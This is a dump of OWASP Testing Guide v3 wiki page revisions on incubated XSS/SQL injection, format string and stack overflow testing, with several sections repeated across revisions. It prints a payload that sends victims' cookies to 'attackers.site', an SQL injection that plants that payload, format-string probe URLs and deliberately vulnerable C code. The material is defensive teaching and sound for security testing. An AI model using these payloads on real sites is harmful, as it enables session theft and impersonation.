* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary Javascript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [[http://sourceforge.net/projects/xss-proxy XSS-proxy]]).

* Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)

== Black Box testing and example ==

===a. File Upload Sample:===

Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user.

Send your victim an email or other kind of alert in order to lead him/her to browse the page.

The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.

===b. XSS sample on a bulletin board===

1. Introduce ''javascript'' code as the value for the vulnerable field, for instance:

<nowiki><script>document.write('<img src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script></nowiki>

2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a <nowiki>"listener"</nowiki> at ''attackers.site'' host listening for all incoming connections.

3. When users browse the vulnerable page, a request containing their cookie (''document.cookie'' is included as part of the requested URL) will be sent to the ''attackers.site'' host, such as the following:

<nowiki>- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;</nowiki>
<nowiki>%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;</nowiki>
<nowiki>TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1</nowiki>

4. Use cookies obtained to impersonate users at the vulnerable site.

===c. SQL Injection sample===

Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test, is whether the target site has a SQL-injection vulnerability. This is described in Section 4.2 [[Testing for SQL Injection]]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.

1. In a similar fashion as the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject javascript code to the ''notice'' field at the ''footer'' table in the database.

SELECT field1, field2, field3
FROM table_x
WHERE field2 = 'x';
UPDATE footer
<nowiki>SET notice = 'Copyright 1999-2030%20</nowiki>
<nowiki><script>document.write(\'<img src="http://attackers.site/cv.jpg?\'+document.cookie+\'">\')</script>'</nowiki>
WHERE notice = 'Copyright 1999-2030';

2. Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4).

===d. Misconfigured server===

Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with Apache Tomcat servers that doesn’t enforce strong credentials to access its Web Application Manager (or in the case the pen testers have been able to obtain valid credentials for the administration module by other means).
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).

As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).

== Gray Box testing and example ==
Gray/white testing techniques will be the same as previously discussed.
* Input validation must be examined is key in mitigating against this vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data is perssited via a "back door".
* To combat the "back door" issue for client side attacks, output validation must also be employed so tainted data shall be encoded prior to displaying to the client and hance not execute.

* See the [[Data Validation %28Code Review%29#Data validation strategy|Data Validation]] section of the Code review guide.

== References ==
Most of the references from the Cross-site scripting section are valid. As explained above, incubated attacks are executed when combining exploits such as XSS or SQL-injection attacks.

'''Advisories''' 

* CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - http://www.cert.org/advisories/CA-2000-02.html
* Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html

 
'''Whitepapers''' 

* Web Application Security Consortium "Threat Classification, Cross-site scripting" - http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml
* Amit Klein (Sanctum) "Cross-site Scripting Explained" - http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf

 
'''Tools''' 

* XSS-proxy - http://sourceforge.net/projects/xss-proxy
* Paros - http://www.parosproxy.org/index.shtml
* Burp Suite - http://portswigger.net/suite/
* Metasploit - http://www.metasploit.com/

Testing for Format String

2008-09-07T07:56:50Z

Namn: /* Gray Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==

This section describes how to test for format string attacks that can be used to crash a program or to execute harmful code.
The problem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as printf().

== Description of the Issue ==

Various C-Style languages provision formatting of output by means of functions like printf( ), fprintf( ) etc.

Formatting is governed by a parameter to these functions termed as format type specifier, typically %s, %c etc.

The vulnerability arises on account of format functions being called with inadequate parameters validation and user controlled data.

A simple example would be printf(argv[1]). In this case the type specifier has not been explicitly declared, allowing a user to pass characters such as %s, %n, %x to the application by means of command line argument argv[1].

This situation tends to become precarious on account of the fact that a user who can supply format specifiers can perform the following malicious actions:

'''Enumerate process Stack:''' This allows an adversary to view stack organization of the vulnerable process by supplying format strings such as %x or %p, which can lead to leakage of sensitive information. It can also be used to extract canary values when the application is protected with a stack protection mechanism. Coupled with a stack overflow, this information can be used to bypass the stack protector.

'''Control Execution Flow:''' This vulnerability can also facilitate arbitrary code execution since it allows writing 4 bytes of data to an address supplied by the adversary. The specifier %n comes handy for overwriting various function pointers in memory with address of the malicious payload. When these overwritten function pointers get called, execution passes to the malicious code.

'''Denial of Service:''' In case the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed by supplying a sequence of %x followed by %n.

== Black Box testing and example ==
The key to testing format string vulnerabilities is supplying format type specifiers in application input.

For example, consider an application that processes the URL string
http://xyzhost.com/html/en/index.htm or accepts inputs from forms. If format string vulnerability exists in one of the routines processing this information, supplying a URL like http://xyzhost.com/html/en/index.htm%n%n%n or passing %n in one of the form fields might crash the application creating a core dump in the hosting folder.

Format string vulnerabilities manifest mainly in web servers, application servers or web applications utilizing C/C++ based code or CGI scripts written in C. In most of these cases an error reporting or logging function like syslog( ) has been called insecurely.

When testing CGI scripts for format string vulnerabilities, the input parameters can be manipulated to include %x or %n type specifiers. For example a legitimate request like

'''<nowiki>http://hostname/cgi-bin/query.cgi?name=john&code=45765 </nowiki>'''

can be altered to

'''<nowiki>http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x</nowiki>'''

In case a format string vulnerability exists in the routine processing this request, the tester will be able to see stack data being printed out to browser.

In case of unavailability of code, the process of reviewing assembly fragments (also known as reverse engineering binaries) would yield substantial information about format string bugs.

Take the instance of code (1) :

<pre>
int main(int argc, char **argv)
{
printf("The string entered is\n");
printf(“%s”,argv[1]);
return 0;
}
</pre>

when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly visible before a call to printf is made.

[[image:IDA Pro.gif]]

On the other hand when the same code is compiled without “%s” as an argument , the variation in assembly is apparent. As seen below, there is no offset being pushed on the stack before calling printf.

[[image:IDA Pro 2.gif]]

== Gray Box testing and example ==

While performing code reviews, nearly all format string vulnerabilities can be detected by use of static code analysis tools. Subjecting the code shown in (1) to ITS4, which is a static code analysis tool, gives the following output.

[[image:ITS4.gif]]

The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore when manually reviewing code, emphasis can be given to functions such as:

<pre>
printf
fprintf
sprintf
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
</pre>

There can be several formatting functions that are specific to the development platform. These should also be reviewed for absence of format strings once their argument usage has been understood.

==References==
'''Whitepapers''' 
* Tim Newsham: "A paper on format string attacks" - http://comsec.theclerk.com/CISSP/FormatString.pdf
* Team Teso: "Exploiting format String Vulnerabilities" - http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html
* Analysis of format string bugs - http://julianor.tripod.com/format-bug-analysis.pdf
* Format functions manual page - http://www.die.net/doc/linux/man/man3/fprintf.3.html

'''Tools'''
* ITS4: "A static code analysis tool for identifying format string vulnerabilities using source code" - http://www.cigital.com/its4
* A disassembler for analyzing format bugs in assembly - http://www.datarescue.com/idabase
* An exploit string builder for format bugs - http://seclists.org/lists/pen-test/2001/Aug/0014.html

Testing for Format String

2008-09-07T07:52:43Z

Namn: /* Description of the Issue */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==

This section describes how to test for format string attacks that can be used to crash a program or to execute harmful code.
The problem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as printf().

== Description of the Issue ==

Various C-Style languages provision formatting of output by means of functions like printf( ), fprintf( ) etc.

Formatting is governed by a parameter to these functions termed as format type specifier, typically %s, %c etc.

The vulnerability arises on account of format functions being called with inadequate parameters validation and user controlled data.

A simple example would be printf(argv[1]). In this case the type specifier has not been explicitly declared, allowing a user to pass characters such as %s, %n, %x to the application by means of command line argument argv[1].

This situation tends to become precarious on account of the fact that a user who can supply format specifiers can perform the following malicious actions:

'''Enumerate process Stack:''' This allows an adversary to view stack organization of the vulnerable process by supplying format strings such as %x or %p, which can lead to leakage of sensitive information. It can also be used to extract canary values when the application is protected with a stack protection mechanism. Coupled with a stack overflow, this information can be used to bypass the stack protector.

'''Control Execution Flow:''' This vulnerability can also facilitate arbitrary code execution since it allows writing 4 bytes of data to an address supplied by the adversary. The specifier %n comes handy for overwriting various function pointers in memory with address of the malicious payload. When these overwritten function pointers get called, execution passes to the malicious code.

'''Denial of Service:''' In case the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed by supplying a sequence of %x followed by %n.

== Black Box testing and example ==
The key to testing format string vulnerabilities is supplying format type specifiers in application input.

For example, consider an application that processes the URL string
http://xyzhost.com/html/en/index.htm or accepts inputs from forms. If format string vulnerability exists in one of the routines processing this information, supplying a URL like http://xyzhost.com/html/en/index.htm%n%n%n or passing %n in one of the form fields might crash the application creating a core dump in the hosting folder.

Format string vulnerabilities manifest mainly in web servers, application servers or web applications utilizing C/C++ based code or CGI scripts written in C. In most of these cases an error reporting or logging function like syslog( ) has been called insecurely.

When testing CGI scripts for format string vulnerabilities, the input parameters can be manipulated to include %x or %n type specifiers. For example a legitimate request like

'''<nowiki>http://hostname/cgi-bin/query.cgi?name=john&code=45765 </nowiki>'''

can be altered to

'''<nowiki>http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x</nowiki>'''

In case a format string vulnerability exists in the routine processing this request, the tester will be able to see stack data being printed out to browser.

In case of unavailability of code, the process of reviewing assembly fragments (also known as reverse engineering binaries) would yield substantial information about format string bugs.

Take the instance of code (1) :

<pre>
int main(int argc, char **argv)
{
printf("The string entered is\n");
printf(“%s”,argv[1]);
return 0;
}
</pre>

when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly visible before a call to printf is made.

[[image:IDA Pro.gif]]

On the other hand when the same code is compiled without “%s” as an argument , the variation in assembly is apparent. As seen below, there is no offset being pushed on the stack before calling printf.

[[image:IDA Pro 2.gif]]

== Gray Box testing and example ==

While performing code reviews, nearly all format string vulnerabilities can be detected by use of static code analysis tools. Subjecting the code shown in (1) to ITS4, which is a static code analysis tool, gives the following output.

[[image:ITS4.gif]]

The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore when manually reviewing code, emphasis can be given to functions such as:

<pre>
Printf
Fprintf
Sprintf
Snprintf
Vfprintf
Vprintf
Vsprintf
Vsnprintf
</pre>

There can be several formatting functions that are specific to the development platform. These should also be reviewed for absence of format strings once their argument usage has been understood.

==References==
'''Whitepapers''' 
* Tim Newsham: "A paper on format string attacks" - http://comsec.theclerk.com/CISSP/FormatString.pdf
* Team Teso: "Exploiting format String Vulnerabilities" - http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html
* Analysis of format string bugs - http://julianor.tripod.com/format-bug-analysis.pdf
* Format functions manual page - http://www.die.net/doc/linux/man/man3/fprintf.3.html

'''Tools'''
* ITS4: "A static code analysis tool for identifying format string vulnerabilities using source code" - http://www.cigital.com/its4
* A disassembler for analyzing format bugs in assembly - http://www.datarescue.com/idabase
* An exploit string builder for format bugs - http://seclists.org/lists/pen-test/2001/Aug/0014.html

Testing for Format String

2008-09-07T07:31:06Z

Namn: /* Brief Summary */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==

This section describes how to test for format string attacks that can be used to crash a program or to execute harmful code.
The problem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as printf().

== Description of the Issue ==
 
Various C-Style languages provision formatting of output by means of functions like printf( ), fprintf( ) etc.

Formatting is governed by a parameter to these functions termed as format type specifier, typically %s, %c etc.

The vulnerability arises on account of format functions being called with inadequate parameters and user controlled Data.

A simple example would be printf(argv[1]). In this case the type specifier has not been explicitly declared, allowing a user to pass characters such %s, %n, %x to the application by means of command line argument argv[1].

This situation tends to become precarious on account of the fact that a user who can supply format specifiers can perform the following malicious actions:

'''Enumerate process Stack:''' This allows an adversary to view stack organization of the vulnerable process by supplying format strings such as %x or %p, which can lead to leakage of sensitive information. It can also be used to extract canary values when the application is protected with a stack protection mechanism. Coupled with a stack overflow, this information can be used to bypass the stack protector.

'''Control Execution Flow:''' This vulnerability can also facilitate arbitrary code execution since it allows writing 4 bytes of data to an address supplied by the adversary. The specifier %n comes handy for overwriting various function pointers in memory with address of the malicious payload. When these overwritten function pointers get called, execution passes to the malicious code.

'''Denial of Service:''' In case the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed by supplying a sequence of %x followed by %n.
 
== Black Box testing and example ==
The key to testing format string vulnerabilities is supplying format type specifiers in application input.

For example, consider an application that processes the URL string
http://xyzhost.com/html/en/index.htm or accepts inputs from forms. If format string vulnerability exists in one of the routines processing this information, supplying a URL like http://xyzhost.com/html/en/index.htm%n%n%n or passing %n in one of the form fields might crash the application creating a core dump in the hosting folder.

Format string vulnerabilities manifest mainly in web servers, application servers or web applications utilizing C/C++ based code or CGI scripts written in C. In most of these cases an error reporting or logging function like syslog( ) has been called insecurely.

When testing CGI scripts for format string vulnerabilities, the input parameters can be manipulated to include %x or %n type specifiers. For example a legitimate request like

'''<nowiki>http://hostname/cgi-bin/query.cgi?name=john&code=45765 </nowiki>'''

can be altered to

'''<nowiki>http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x</nowiki>'''

In case a format string vulnerability exists in the routine processing this request, the tester will be able to see stack data being printed out to browser.

In case of unavailability of code, the process of reviewing assembly fragments (also known as reverse engineering binaries) would yield substantial information about format string bugs.

Take the instance of code (1) :

<pre>
int main(int argc, char **argv)
{
printf("The string entered is\n");
printf(“%s”,argv[1]);
return 0;
}
</pre>

when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly visible before a call to printf is made.

[[image:IDA Pro.gif]]

On the other hand when the same code is compiled without “%s” as an argument , the variation in assembly is apparent. As seen below, there is no offset being pushed on the stack before calling printf.

[[image:IDA Pro 2.gif]]

== Gray Box testing and example ==

While performing code reviews, nearly all format string vulnerabilities can be detected by use of static code analysis tools. Subjecting the code shown in (1) to ITS4, which is a static code analysis tool, gives the following output.

[[image:ITS4.gif]]

The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore when manually reviewing code, emphasis can be given to functions such as:

<pre>
Printf
Fprintf
Sprintf
Snprintf
Vfprintf
Vprintf
Vsprintf
Vsnprintf
</pre>

There can be several formatting functions that are specific to the development platform. These should also be reviewed for absence of format strings once their argument usage has been understood.

==References==
'''Whitepapers''' 
* Tim Newsham: "A paper on format string attacks" - http://comsec.theclerk.com/CISSP/FormatString.pdf
* Team Teso: "Exploiting format String Vulnerabilities" - http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html
* Analysis of format string bugs - http://julianor.tripod.com/format-bug-analysis.pdf
* Format functions manual page - http://www.die.net/doc/linux/man/man3/fprintf.3.html

'''Tools'''
* ITS4: "A static code analysis tool for identifying format string vulnerabilities using source code" - http://www.cigital.com/its4
* A disassembler for analyzing format bugs in assembly - http://www.datarescue.com/idabase
* An exploit string builder for format bugs - http://seclists.org/lists/pen-test/2001/Aug/0014.html

Testing for Stack Overflow

2008-09-07T07:27:03Z

Namn: /* Gray Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
This section discusses about a particular overflow test that focuses on how to manipulate the program stack.
 

== Description of the Issue ==
 
[[Stack overflow|Stack overflows]] occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Development Guide 2.0 states that:

<pre>
“Almost every platform, with the following notable exceptions:
J2EE – as long as native methods or system calls are not invoked
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “
can suffer from stack overflow issues.
</pre>

Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.
 

== Black Box testing and example ==
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected.
However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input, and inspect responses in debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.

On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.

As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:

<pre>
#include<stdio.h>
int main(int argc, char *argv[])
{
char buff[20];
printf("copying into buffer");
strcpy(buff,argv[1]);
return 0;
}
</pre>

File sample.exe is launched in a debugger, in our case OllyDbg.

[[image:stack overflow vulnerability.gif]]

Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.

On opening the executable with the supplied arguments and continuing execution the following results are obtained.

[[image:stack overflow vulnerability 2.gif]]

As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.

This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.

As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.

== Gray Box testing and example ==

When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.

For example consider the following function:-

<pre>
void log_create(int severity, char *inpt) {

char b[1024];

if (severity == 1)
{
strcat(b,”Error occured on”);
strcat(b,":");
strcat(b,inpt);

FILE *fd = fopen ("logfile.log", "a");
fprintf(fd, "%s", b);
fclose(fd);

. . . . . .
}
</pre>

From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code.

Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-

<pre>
void func(char *source)
{
Char dest[40];
…
size=strlen(source)+1
….
strncpy(dest,source,size)
}
</pre>

where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615).

Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function:

<pre>
void func(char *path)
{
char servaddr[40];
…
memccpy(servaddr,path,'\');
….
}
</pre>

In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.

Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

==References==
'''Whitepapers''' 
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
* Aleph One: "Smashing the Stack for Fun and Profit" - http://www.phrack.org/issues.html?issue=49&id=14#article
* Tal Zeltzer: "Basic stack overflow exploitation on Win32" - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32
* Tal Zeltzer"Exploiting Default SEH to increase Exploit Stability" -
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html

'''Tools''' 
* OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/

Testing for Stack Overflow

2008-09-07T07:26:09Z

Namn: /* Gray Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
This section discusses about a particular overflow test that focuses on how to manipulate the program stack.
 

== Description of the Issue ==
 
[[Stack overflow|Stack overflows]] occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Development Guide 2.0 states that:

<pre>
“Almost every platform, with the following notable exceptions:
J2EE – as long as native methods or system calls are not invoked
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “
can suffer from stack overflow issues.
</pre>

Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.
 

== Black Box testing and example ==
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected.
However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input, and inspect responses in debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.

On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.

As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:

<pre>
#include<stdio.h>
int main(int argc, char *argv[])
{
char buff[20];
printf("copying into buffer");
strcpy(buff,argv[1]);
return 0;
}
</pre>

File sample.exe is launched in a debugger, in our case OllyDbg.

[[image:stack overflow vulnerability.gif]]

Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.

On opening the executable with the supplied arguments and continuing execution the following results are obtained.

[[image:stack overflow vulnerability 2.gif]]

As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.

This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.

As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.

== Gray Box testing and example ==

When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.

For example consider the following function:-

<pre>
void log_create(int severity, char *inpt) {

char b[1024];

if (severity == 1)
{
strcat(b,”Error occured on”);
strcat(b,":");
strcat(b,inpt);

FILE *fd = fopen ("logfile.log", "a");
fprintf(fd, "%s", b);
fclose(fd);

. . . . . .
}
</pre>

From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code.

Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-

<pre>
Void func(char *source)
{
Char dest[40];
…
size=strlen(source)+1
….
strncpy(dest,source,size)
}
</pre>

where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615).

Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function:

<pre>
void func(char *path)
{
char servaddr[40];
…
memccpy(servaddr,path,'\');
….
}
</pre>

In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.

Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

==References==
'''Whitepapers''' 
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
* Aleph One: "Smashing the Stack for Fun and Profit" - http://www.phrack.org/issues.html?issue=49&id=14#article
* Tal Zeltzer: "Basic stack overflow exploitation on Win32" - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32
* Tal Zeltzer"Exploiting Default SEH to increase Exploit Stability" -
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html

'''Tools''' 
* OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/

Testing for Stack Overflow

2008-09-07T07:19:00Z

Namn: /* Black Box testing and example */

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
 
This section discusses about a particular overflow test that focuses on how to manipulate the program stack.
 

== Description of the Issue ==
 
[[Stack overflow|Stack overflows]] occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Development Guide 2.0 states that:

<pre>
“Almost every platform, with the following notable exceptions:
J2EE – as long as native methods or system calls are not invoked
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “
can suffer from stack overflow issues.
</pre>

Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.
 

== Black Box testing and example ==
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected.
However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input, and inspect responses in debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.

